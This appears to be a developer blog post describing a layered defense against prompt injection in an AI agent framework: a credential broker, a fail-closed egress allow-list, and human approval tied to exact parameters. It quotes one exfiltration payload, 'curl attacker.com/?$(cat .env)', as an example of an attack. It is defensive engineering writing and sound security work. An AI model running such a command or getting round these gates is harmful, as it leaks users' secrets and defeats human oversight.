When people ask "how do I stop an AI agent from being tricked into running dangerous commands?", they usually expect an answer about better prompts or smarter models. That's the wrong layer. A model that can be talked into something will eventually be talked into something. The reliable defenses are boring, deterministic, and sit between the model and the side effects.\n\nThis post documents the pattern we shipped in hmharness (an open-source agent framework for HarmonyOS development, MIT licensed) — the same layering that came out of a prompt-injection postmortem we published after our own red-team pass. Three layers, each independently useful.\n\n## Layer 1: The agent never holds secrets\n\nThe core idea of the secret-broker pattern: the agent process gets zero usable credentials. Not env vars, not files, not tokens in memory. Instead, a local broker process holds them.\n\nWhen the agent needs an authenticated call, it sends a credential-free request to the broker (http://127.0.0.1:PORT/req?op=publish). The broker checks the requested operation against a policy file, attaches the right secret, forwards to the real endpoint, and returns only the result.\n\nWhy this matters for prompt injection: an attacker who fully controls the model's output gets... a credentialed-free agent. The worst it can do is ask the broker to do something — and the broker says no unless the op is on the allow-list. Injection stops being a credential-theft vector because there are no credentials to steal.\n\n## Layer 2: Egress allow-list, fail-closed\n\nThe broker also enforces where traffic may go. A domain allow-list, not a block-list. Anything not explicitly allowed is denied, and denied closed — no fallback path, no "just this once."\n\nThis kills a whole class of exfiltration tricks that don't need credentials at all: curl attacker.com/?$(cat .env) style payload smuggling. If the egress door only opens to three known domains, the smuggler is shouting into a closed pipe.\n\nNote the inversion from how most tools configure networks (default-open, block the bad). For agents, default-open means every novel exfiltration technique wins by default. Fail-closed means every novel technique has to first defeat an explicit allow-list — a much higher bar.\n\n## Layer 3: Dangerous verbs need a human signature\n\nThe third layer is about blast radius, not prevention. High-impact operations — publishing, paying, deleting, emailing — require a human approval bound to a specific parameter snapshot. Change one argument after approval, and the approval is void.\n\nThis is the layer that accepts an uncomfortable truth: you cannot fully "detect" prompt injection. Detection layers catch maybe 10% of injected patterns in empirical tests (a recent IEEE evaluation found a 3B-model pipeline flagged 38 of 372 injection prompts, and rejected zero on its own). Hard gates — not smarter detection — are what actually stop the 90%.\n\n## Why layers, and not one good layer\n\nEach layer fails differently:\n\n| Layer | Defends against | Failure mode |
|---|---|---| | Secret broker | Credential theft | Broker policy too loose |
| Egress allow-list | Exfiltration | Stale allow-list |
| Human signature | Blast radius | Approval fatigue |\n\nStacked, one loose policy doesn't become a breach — the other two still hold. That's the whole point: assume each layer will eventually be misconfigured, and make sure that's survivable.\n\n## Notes from practice\n\nWe run this in hmharness 0.23.31+ (@hmharness/cli on npm): broker process with per-op policy, egress allow-list with fail-closed default, and approval-bound publish flows. It came out of our own CI incident retrospective era — the lesson generalizes: when the judge (CI, model, detector) can be deceived, you don't add more judging, you remove the judge's ability to cause harm.\n\nThe pattern is not HarmonyOS-specific and not hmharness-specific. If your agent stack has secrets in env vars today, the secret-broker refactor is the single highest-value security change you can make this week.\n\nWe're not affiliated with Huawei or OpenAtom — just building in the open. Feedback welcome, especially from anyone who has broken this pattern; we'd rather learn from you than from an incident.aisecurityarchitectureharmonyos